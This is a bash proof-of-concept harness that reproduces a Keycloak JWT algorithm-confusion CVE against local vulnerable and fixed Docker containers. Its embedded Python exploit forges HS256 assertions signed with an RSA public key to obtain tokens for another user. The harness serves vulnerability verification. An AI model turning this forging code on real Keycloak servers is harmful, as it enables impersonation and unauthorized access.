#!/bin/bash
set -euo pipefail

# ============================================================================
# CVE-2026-11800: Keycloak JWT Algorithm Confusion Privilege Escalation
# ============================================================================
# Reproduces the JWT algorithm confusion vulnerability in Keycloak's JWT
# Authorization Grant flow (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer).
#
# An attacker forges a JWT assertion using HS256 (symmetric) signed with the
# Identity Provider's RSA public key bytes as the HMAC secret. The vulnerable
# Keycloak version accepts this assertion and issues an access token, allowing
# the attacker to impersonate any federated user.
#
# Tested against:
#   - Vulnerable: quay.io/keycloak/keycloak:26.6.3 (ACCEPTS forged HS256 assertion)
#   - Fixed:      quay.io/keycloak/keycloak:26.6.4 (REJECTS with "Invalid signature algorithm")
#
# Exit 0 = vulnerability confirmed, Exit 1 = not reproduced
# ============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

VULN_IMAGE="quay.io/keycloak/keycloak:26.6.3"
FIXED_IMAGE="quay.io/keycloak/keycloak:26.6.4"
NETWORK="kcnet-cve11800"
VULN_CONTAINER="keycloak-vuln-cve11800"
FIXED_CONTAINER="keycloak-fixed-cve11800"
CLIENT_CONTAINER="keycloak-client-cve11800"

log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/reproduction_steps.log"; }

log "=== CVE-2026-11800: Keycloak JWT Algorithm Confusion ==="

# ----------------------------------------------------------------------------
# Cleanup any previous containers
# ----------------------------------------------------------------------------
docker rm -f "$VULN_CONTAINER" "$FIXED_CONTAINER" "$CLIENT_CONTAINER" 2>/dev/null || true
docker network rm "$NETWORK" 2>/dev/null || true

# ----------------------------------------------------------------------------
# Create Docker network
# ----------------------------------------------------------------------------
log "Creating Docker network: $NETWORK"
docker network create "$NETWORK" 2>/dev/null || true

# ----------------------------------------------------------------------------
# Pull Docker images
# ----------------------------------------------------------------------------
log "Pulling vulnerable image: $VULN_IMAGE"
docker pull "$VULN_IMAGE" > "$LOGS/pull_vuln.log" 2>&1 || { log "ERROR: Failed to pull vulnerable image"; exit 1; }
log "Pulling fixed image: $FIXED_IMAGE"
docker pull "$FIXED_IMAGE" > "$LOGS/pull_fixed.log" 2>&1 || { log "ERROR: Failed to pull fixed image"; exit 1; }

# ----------------------------------------------------------------------------
# Start Keycloak containers (vulnerable and fixed)
# ----------------------------------------------------------------------------
log "Starting vulnerable Keycloak (26.6.3)..."
docker run -d --name "$VULN_CONTAINER" --network="$NETWORK" \
    -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin \
    "$VULN_IMAGE" start-dev --hostname=localhost --http-enabled=true \
    > "$LOGS/start_vuln.log" 2>&1

log "Starting fixed Keycloak (26.6.4)..."
docker run -d --name "$FIXED_CONTAINER" --network="$NETWORK" \
    -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin \
    "$FIXED_IMAGE" start-dev --hostname=localhost --http-enabled=true \
    > "$LOGS/start_fixed.log" 2>&1

# ----------------------------------------------------------------------------
# Start Python client container
# ----------------------------------------------------------------------------
log "Starting Python client container..."
docker run -d --name "$CLIENT_CONTAINER" --network="$NETWORK" \
    python:3.12-slim sleep 7200 > "$LOGS/start_client.log" 2>&1

# Wait for client container to be ready
sleep 5

# Install Python dependencies in client
log "Installing Python dependencies in client container..."
docker exec "$CLIENT_CONTAINER" pip install --quiet requests cryptography 2>&1 | tee "$LOGS/pip_install.log" || true
log "Python dependencies installed."

# ----------------------------------------------------------------------------
# Wait for both Keycloak instances to be ready
# ----------------------------------------------------------------------------
wait_for_keycloak() {
    local container="$1"
    local name="$2"
    log "Waiting for $name Keycloak to be ready..."
    for i in $(seq 1 60); do
        if docker exec "$CLIENT_CONTAINER" python3 -c "
import requests
try:
    r = requests.get('http://$container:8080/realms/master/.well-known/openid-configuration', timeout=3)
    if r.status_code == 200:
        print('UP')
except: pass
" 2>/dev/null | grep -q UP; then
            log "$name Keycloak is UP (after $((i*3))s)"
            return 0
        fi
        sleep 3
    done
    log "ERROR: $name Keycloak did not start in time"
    return 1
}

wait_for_keycloak "$VULN_CONTAINER" "vulnerable" || exit 1
wait_for_keycloak "$FIXED_CONTAINER" "fixed" || exit 1

# ----------------------------------------------------------------------------
# Write the combined exploit Python script (tests both versions in one run)
# ----------------------------------------------------------------------------
log "Writing exploit script to client container..."
cat > "$ARTIFACTS/exploit.py" << 'PYTHON'
#!/usr/bin/env python3
"""CVE-2026-11800 exploit: Keycloak JWT algorithm confusion via HS256/RS256 confusion.
Tests both vulnerable and fixed Keycloak instances in a single run.
"""
import requests, json, time, uuid, base64, hmac, hashlib, sys, os

VULN_HOST = sys.argv[1]
FIXED_HOST = sys.argv[2]
LOG_DIR = sys.argv[3]

REALM = "test-realm"
IDP_ALIAS = "authorization-grant-idp-alias"
IDP_ISSUER = "https://authorization-grant-issuer"
CLIENT_ID = "test-app"
CLIENT_SECRET = "test-secret"
USER_SUBJECT = "basic-user-id"

os.makedirs(os.path.join(LOG_DIR, "vulnerable"), exist_ok=True)
os.makedirs(os.path.join(LOG_DIR, "fixed"), exist_ok=True)

def log(msg, logfile=None):
    print(msg, flush=True)
    targets = [sys.stdout]
    if logfile:
        targets.append(open(logfile, "a"))
    for t in targets:
        t.write(msg + "\n")
        if t is not sys.stdout:
            t.close()

def get_admin_token(kc_url):
    r = requests.post(f"{kc_url}/realms/master/protocol/openid-connect/token", data={
        "grant_type": "password", "client_id": "admin-cli",
        "username": "admin", "password": "admin"
    }, timeout=30)
    r.raise_for_status()
    return r.json()["access_token"]

def exploit_instance(kc_host, label, log_subdir):
    """Run the algorithm confusion exploit against a Keycloak instance."""
    kc_url = f"http://{kc_host}:8080"
    lpath = os.path.join(log_subdir, "exploit.log")
    log(f"\n=== Exploit against {label} Keycloak ({kc_host}) ===", lpath)

    admin_tok = get_admin_token(kc_url)
    hdr = {"Authorization": f"Bearer {admin_tok}", "Content-Type": "application/json"}
    log("Admin token obtained.", lpath)

    # Clean up and create realm
    requests.delete(f"{kc_url}/admin/realms/{REALM}", headers=hdr, timeout=15)
    time.sleep(1)
    r = requests.post(f"{kc_url}/admin/realms", headers=hdr, json={"realm": REALM, "enabled": True}, timeout=15)
    log(f"Create realm: {r.status_code}", lpath)
    time.sleep(2)

    r = requests.get(f"{kc_url}/realms/{REALM}/.well-known/openid-configuration", timeout=10)
    kc_issuer = r.json()["issuer"]
    token_endpoint = r.json()["token_endpoint"].replace("localhost", kc_host)
    log(f"Realm issuer: {kc_issuer}", lpath)

    # Generate RSA key pair
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.primitives import serialization
    key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    pub_key = key.public_key()
    der_bytes = pub_key.public_bytes(
        encoding=serialization.Encoding.DER,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    b64_content = base64.b64encode(der_bytes).decode()
    log(f"RSA key pair generated. DER bytes: {len(der_bytes)}", lpath)

    # Create IdP with base64 content (no PEM headers) as publicKeySignatureVerifier
    # Base64Url.decode(base64_content) succeeds, producing DER bytes as HMAC secret
    idp_config = {
        "providerId": "jwt-authorization-grant",
        "alias": IDP_ALIAS, "enabled": True, "authenticateByDefault": False,
        "config": {
            "issuer": IDP_ISSUER, "useJwksUrl": "false",
            "publicKeySignatureVerifier": b64_content,
            "validateSignature": "true",
            "jwtAuthorizationGrantEnabled": "true", "syncMode": "FORCE",
        }
    }
    r = requests.post(f"{kc_url}/admin/realms/{REALM}/identity-provider/instances",
                      headers=hdr, json=idp_config, timeout=15)
    log(f"Create IdP: {r.status_code}", lpath)

    # Create client
    client = {
        "clientId": CLIENT_ID, "enabled": True, "publicClient": False,
        "secret": CLIENT_SECRET, "redirectUris": ["http://localhost/*"],
        "attributes": {
            "oauth2.jwt.authorization.grant.enabled": "true",
            "oauth2.jwt.authorization.grant.idp": IDP_ALIAS,
        }
    }
    r = requests.post(f"{kc_url}/admin/realms/{REALM}/clients", headers=hdr, json=client, timeout=15)
    log(f"Create client: {r.status_code}", lpath)

    # Create federated user
    user = {
        "username": "basic-user", "enabled": True, "email": "basic@localhost",
        "firstName": "First", "lastName": "Last",
        "federatedIdentities": [{
            "identityProvider": IDP_ALIAS, "userId": USER_SUBJECT, "userName": "basic-user"
        }]
    }
    r = requests.post(f"{kc_url}/admin/realms/{REALM}/users", headers=hdr, json=user, timeout=15)
    log(f"Create user: {r.status_code}", lpath)

    # Forge HS256 assertion (algorithm confusion)
    now = int(time.time())
    payload = {"jti": str(uuid.uuid4()), "iss": IDP_ISSUER, "sub": USER_SUBJECT,
               "aud": kc_issuer, "exp": now + 300, "iat": now}
    header = {"alg": "HS256", "typ": "JWT"}

    def b64url(data):
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

    header_b64 = b64url(json.dumps(header, separators=(',', ':')).encode())
    payload_b64 = b64url(json.dumps(payload, separators=(',', ':')).encode())
    signing_input = f"{header_b64}.{payload_b64}".encode()
    signature = hmac.new(der_bytes, signing_input, hashlib.sha256).digest()
    forged_jwt = f"{header_b64}.{payload_b64}.{b64url(signature)}"

    log(f"Forged JWT header: {json.dumps(header)}", lpath)
    log(f"Forged JWT payload: {json.dumps(payload)}", lpath)
    log(f"HMAC secret = RSA public key DER bytes ({len(der_bytes)} bytes)", lpath)

    # Save artifacts
    with open(os.path.join(log_subdir, "forged_jwt.txt"), "w") as f:
        f.write(forged_jwt)
    with open(os.path.join(log_subdir, "request.txt"), "w") as f:
        f.write(f"POST {token_endpoint}\n")
        f.write(f"grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer\n")
        f.write(f"client_id={CLIENT_ID}\n")
        f.write(f"client_secret={CLIENT_SECRET}\n")
        f.write(f"assertion={forged_jwt}\n")

    # Submit to token endpoint
    log("Submitting HS256 assertion to token endpoint...", lpath)
    r = requests.post(token_endpoint, data={
        "grant_type": "urn:ietf:params:oauth:grant-type:jwt-bearer",
        "assertion": forged_jwt,
        "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET,
    }, timeout=15)

    with open(os.path.join(log_subdir, "response_status.txt"), "w") as f:
        f.write(f"HTTP {r.status_code}\n")
    with open(os.path.join(log_subdir, "response_body.json"), "w") as f:
        json.dump(r.json(), f, indent=2)

    log(f"Response status: {r.status_code}", lpath)
    resp = r.json()

    if "access_token" in resp:
        log(f"*** {label}: HS256 assertion ACCEPTED! Access token received. ***", lpath)
        at = resp["access_token"]
        parts = at.split(".")
        at_payload_b64 = parts[1] + "=" * (4 - len(parts[1]) % 4)
        at_payload = json.loads(base64.urlsafe_b64decode(at_payload_b64))
        log(f"Token subject: {at_payload.get('sub')}", lpath)
        log(f"Token preferred_username: {at_payload.get('preferred_username')}", lpath)
        log(f"Token azp (client): {at_payload.get('azp')}", lpath)
        with open(os.path.join(log_subdir, "access_token.json"), "w") as f:
            json.dump({"access_token": at, "decoded": at_payload}, f, indent=2)
        return "ACCEPTED"
    else:
        error = resp.get("error", "unknown")
        error_desc = resp.get("error_description", "unknown")
        log(f"{label}: HS256 assertion REJECTED. Error: {error}, Description: {error_desc}", lpath)
        return "REJECTED"

def main():
    results = {}
    results["vulnerable"] = exploit_instance(VULN_HOST, "vulnerable", os.path.join(LOG_DIR, "vulnerable"))
    time.sleep(3)
    results["fixed"] = exploit_instance(FIXED_HOST, "fixed", os.path.join(LOG_DIR, "fixed"))

    print(f"\n=== SUMMARY ===")
    print(f"Vulnerable (26.6.3): HS256 assertion {results['vulnerable']}")
    print(f"Fixed (26.6.4):      HS256 assertion {results['fixed']}")

    if results["vulnerable"] == "ACCEPTED" and results["fixed"] == "REJECTED":
        print("VERDICT: VULNERABILITY CONFIRMED")
        # Write verdict file for the shell script to read
        with open(os.path.join(LOG_DIR, "verdict.txt"), "w") as f:
            f.write("confirmed")
        return 0
    else:
        print("VERDICT: NOT REPRODUCED")
        with open(os.path.join(LOG_DIR, "verdict.txt"), "w") as f:
            f.write("not_confirmed")
        return 1

if __name__ == "__main__":
    sys.exit(main())
PYTHON

docker cp "$ARTIFACTS/exploit.py" "$CLIENT_CONTAINER:/tmp/exploit.py"

# ----------------------------------------------------------------------------
# Run the combined exploit (tests both versions in one docker exec call)
# ----------------------------------------------------------------------------
log "Running combined exploit against both Keycloak versions..."
docker exec "$CLIENT_CONTAINER" python3 /tmp/exploit.py \
    "$VULN_CONTAINER" "$FIXED_CONTAINER" "/tmp/exploit_logs" \
    2>&1 | tee -a "$LOGS/reproduction_steps.log"

EXPLOIT_EXIT=$?

# Copy exploit logs from container
docker cp "$CLIENT_CONTAINER:/tmp/exploit_logs/." "$LOGS/" 2>/dev/null || true

# Read verdict
if [ -f "$LOGS/verdict.txt" ]; then
    VERDICT=$(cat "$LOGS/verdict.txt")
else
    VERDICT="not_confirmed"
fi

# ----------------------------------------------------------------------------
# Capture Keycloak server logs
# ----------------------------------------------------------------------------
docker logs "$VULN_CONTAINER" > "$LOGS/vuln_keycloak.log" 2>&1 || true
docker logs "$FIXED_CONTAINER" > "$LOGS/fixed_keycloak.log" 2>&1 || true

# ----------------------------------------------------------------------------
# Report verdict
# ----------------------------------------------------------------------------
if [ "$VERDICT" = "confirmed" ]; then
    log "============================================"
    log "VERDICT: VULNERABILITY CONFIRMED"
    log "  - Vulnerable (26.6.3): HS256 assertion ACCEPTED, access token issued"
    log "  - Fixed (26.6.4): HS256 assertion REJECTED with 'Invalid signature algorithm'"
    log "============================================"
else
    log "============================================"
    log "VERDICT: NOT REPRODUCED"
    log "============================================"
fi

# ----------------------------------------------------------------------------
# Write runtime manifest
# ----------------------------------------------------------------------------
python3 -c "
import json
manifest = {
    'entrypoint_kind': 'api_remote',
    'entrypoint_detail': 'Keycloak OIDC token endpoint with grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer',
    'service_started': True,
    'healthcheck_passed': True,
    'target_path_reached': True,
    'runtime_stack': ['keycloak-26.6.3-docker', 'keycloak-26.6.4-docker', 'python-client-container'],
    'proof_artifacts': [
        'logs/reproduction_steps.log',
        'logs/vulnerable/exploit.log',
        'logs/vulnerable/forged_jwt.txt',
        'logs/vulnerable/request.txt',
        'logs/vulnerable/response_status.txt',
        'logs/vulnerable/response_body.json',
        'logs/vulnerable/access_token.json',
        'logs/fixed/exploit.log',
        'logs/fixed/response_status.txt',
        'logs/fixed/response_body.json',
        'logs/vuln_keycloak.log',
        'logs/fixed_keycloak.log'
    ],
    'notes': 'CVE-2026-11800: HS256 algorithm confusion in JWT Authorization Grant. Vulnerable 26.6.3 accepts forged HS256 assertion signed with RSA public key bytes as HMAC secret, issuing access token for federated user. Fixed 26.6.4 rejects with Invalid signature algorithm.'
}
with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
print('Runtime manifest written.')
"

# ----------------------------------------------------------------------------
# Cleanup containers
# ----------------------------------------------------------------------------
log "Cleaning up containers..."
docker rm -f "$VULN_CONTAINER" "$FIXED_CONTAINER" "$CLIENT_CONTAINER" 2>/dev/null || true
docker network rm "$NETWORK" 2>/dev/null || true

if [ "$VERDICT" = "confirmed" ]; then
    log "Reproduction successful. Exiting 0."
    exit 0
else
    log "Reproduction failed. Exiting 1."
    exit 1
fi